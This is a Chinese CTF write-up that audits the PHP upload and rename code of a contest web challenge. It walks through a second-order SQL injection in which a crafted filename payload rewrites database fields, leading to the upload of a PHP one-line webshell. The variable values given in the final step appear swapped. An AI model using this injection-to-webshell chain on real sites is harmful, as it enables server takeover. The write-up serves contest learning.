这道题是CumtCTF第二次双月赛的一道web题,和其他web题一起在上一篇wp:CumtCTF第二次双月赛Writeup(Web详解)中已经详细分析过了,但由于我刚入门,觉得在这道题中收获了很多知识,所以想单独放在一篇文章中,方便之后分类查阅。
关于什么是二次注入,可参考:SQL二次注入
下面进入题目:
1、先扫目录,发现可以下载源码,进行代码审计。
2、查看upload.php代码,发现是如下白名单验证,无法上传绕过。
require_once "common.inc.php";
define('ROOT',dirname(__FILE__).'/');
if($_FILES)
{
$file = $_FILES["upfile"];
if($file["error"] == UPLOAD_ERR_OK) {
$name = basename($file["name"]);
$path_parts = pathinfo($name);
if(!in_array($path_parts["extension"], array("gif", "jpg", "png", "zip", "txt"))) {
exit("error extension");
}
$path_parts["extension"] = "." . $path_parts["extension"];
// $path_parts["extension"] = ".jpg"
$name = $path_parts["filename"] . $path_parts["extension"];
$path_parts['filename'] = addslashes($path_parts['filename']);
//$path_parts['filename'] = "',extension='',filename='webshell.jpg"
$sql = "select * from `file` where `filename`='{$path_parts['filename']}' and `extension`='{$path_parts['extension']}'";
$fetch = $db->query($sql);
if($fetch->num_rows>0) {
exit("file is exists");
}
if(move_uploaded_file($file["tmp_name"], ROOT . UPLOAD_DIR . $name)) {
$sql = "insert into `file` ( `filename`, `view`, `extension`) values( '{$path_parts['filename']}', 0, '{$path_parts['extension']}')";
$re = $db->query($sql);
if(!$re) {
echo 'error';
print_r($db->error);
exit;
}
$url = "/" . UPLOAD_DIR . $name;
echo "Your file is upload, url:
{$url}\" target='_blank'>{$url}
go back";
} else {
exit("upload error");
}
} else {
print_r(error_get_last());
exit;
}
}
3.问题主要出现在rename.php里,代码如下:
require_once "common.inc.php";
define('ROOT',dirname(__FILE__).'/');
if(isset($req['oldname']) && isset($req['newname'])) {
$result = $db->query("select * from `file` where `filename`='{$req['oldname']}'");
//因为filename是经过转义后存入数据库的,这里是正常执行sql语句
if ($result->num_rows>0) {
$result = $result->fetch_assoc();
}else{
exit("old file doesn't exists!");
}
if($result) {
$req['newname'] = basename($req['newname']);
$re = $db->query("update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}");
if(!$re) {
print_r($db->errorInfo());
exit;
}
$oldname = ROOT.UPLOAD_DIR . $result["filename"].$result["extension"];
$newname = ROOT.UPLOAD_DIR . $req["newname"].$result["extension"];
if(file_exists($oldname)) {
rename($oldname, $newname);
$url = "/" . $newname;
echo "Your file is rename, url:
>{$url}</a><br/>
<a href=\"/\">go back";
}
else{echo $oldname." not exists.";}
}
}
?>
第一个select
语句显示根据 $req['filename']
从数据库里查询到已存在的一行,再用第二个update
语句进行修改,这里的'oldname'='{$result['filename']}'
将从数据库里查出的$result['filename']
再一次入库,因此存在二次注入。
4、观察发现oldname
和newname
,有几个特点:
$result[‘extension’]
oldname
的文件名来自数据库,newname
的文件名来自用户输入虽然代码要求oldname
和newname
要求后缀相同,可以通过update型注入将extension
改为空,同时可修改filename
的值。
因此构造的文件名payload为:',extension='',filename='webshell.jpg.jpg
5、上传文件名为:',extension='',filename='webshell.jpg.jpg
的文件后,根据upload.php知:
$path_parts["extension"] = ".jpg"
$path_parts['filename'] = "',extension='',filename='webshell.jpg"
插入数据库后,此时数据库里:
filename字段的值为经过addslashes()转义的',extension='',filename='webshell.jpg
extension字段的值为.jpg
6、下来才是真正的updata注入过程
进入到rename.php页面,进行如下操作,将文件名修改为由',extension='',filename='webshell.jpg
修改为webshell.jpg
(这里rename页面输入的文件名均是要求不含后缀的,在数据库里文件名和后缀是分两个字段进行存储的)
上述操作改名后:
$req['oldname'] = "',extension='',filename='webshell.jpg"
$req['newname'] = "webshell.jpg"
接下来执行:select * from 'file' where 'filename'='{$req['oldname']}'
因为filename
在上传后经过addslashes()
转义的,所以此条语句正常执行
但是在执行下条语句,也就是:
update 'file' set 'filename'='{$req['newname']}', 'oldname'='{$result['filename']}' where 'fid'={$result['fid']}
出现了注入,将构造的文件名插入这条语句得到实际执行的sql语句:
update 'file' set 'filename'='webshell.jpg', 'oldname'='',extension='',filename='webshell.jpg' where 'fid'={$result['fid']}
可以发现通过updata语句,修改了数据中的字段值,此时数据库中各字段:
filename = webshell.jpg
oldname = 空
extension = 空
这样思路就很清楚了:
filename
通过注入改变了,但真实系统目录里的文件名为其实并没有变。extension
值为空,因此只要能够调用rename()
函数,就直接把输入的filename
里的后缀当成文件后缀。rename()
函数还有一个判断:if(file_exists($oldname))
,但实际上我们系统目录并没有webshell.jpg
这个文件,这样就需要再上传一个webshell.jpg
文件。7、因此接下来就可以上传真正包含一句话木马的文件:webshell.jpg
,上传后:
$path_parts["extension"] = ".jpg"
$path_parts['filename'] = "webshell"
并在数据库中插入了新的一条记录:
filename字段的值为经过addslashes()转义的webshell
extension字段的值为.jpg
且系统目录下存在真实文件:webshell.jpg
接下来再次进入rename.php页面进行改名,这也是很关键的一步:
将webshell.jpg
改为webshell.php
,这样操作后:
因为注入后,数据库中存在filename
为webshell.jpg
的记录,因此可以绕过这条语句:
select * from 'file' where 'filename'='{$req['oldname']}'
然后再次通过updata语句:
update 'file' set 'filename'='{$req['newname']}', 'oldname'='{$result['filename']}' where 'fid'={$result['fid']}
将filename
的值从webshell.jpg
修改为webshell.php
,oldname
修改为原来filename
的值,其他不变,此时数据库中这条记录的字段值为:
filename = webshell.php
oldname = webshell.jpg
extension = 空
接下来,因为后缀extension为空,所以通过这两条语句赋值后:
$oldname = ROOT.UPLOAD_DIR . $result["filename"].$result["extension"];
$newname = ROOT.UPLOAD_DIR . $req["newname"].$result["extension"];
实际上得到:
$oldname = webshell.php
$newname = webshell.jpg
最后,在进行if(file_exists($oldname))
判断时,因为第二次上传到目录的文件就是webshell.jpg
,所以可以通过判断。
这样就可以执行rename($oldname, $newname)
,将目录下的包含木马的文件webshell.jpg
改名为webshell.php
,也就成功上传了php木马到后台。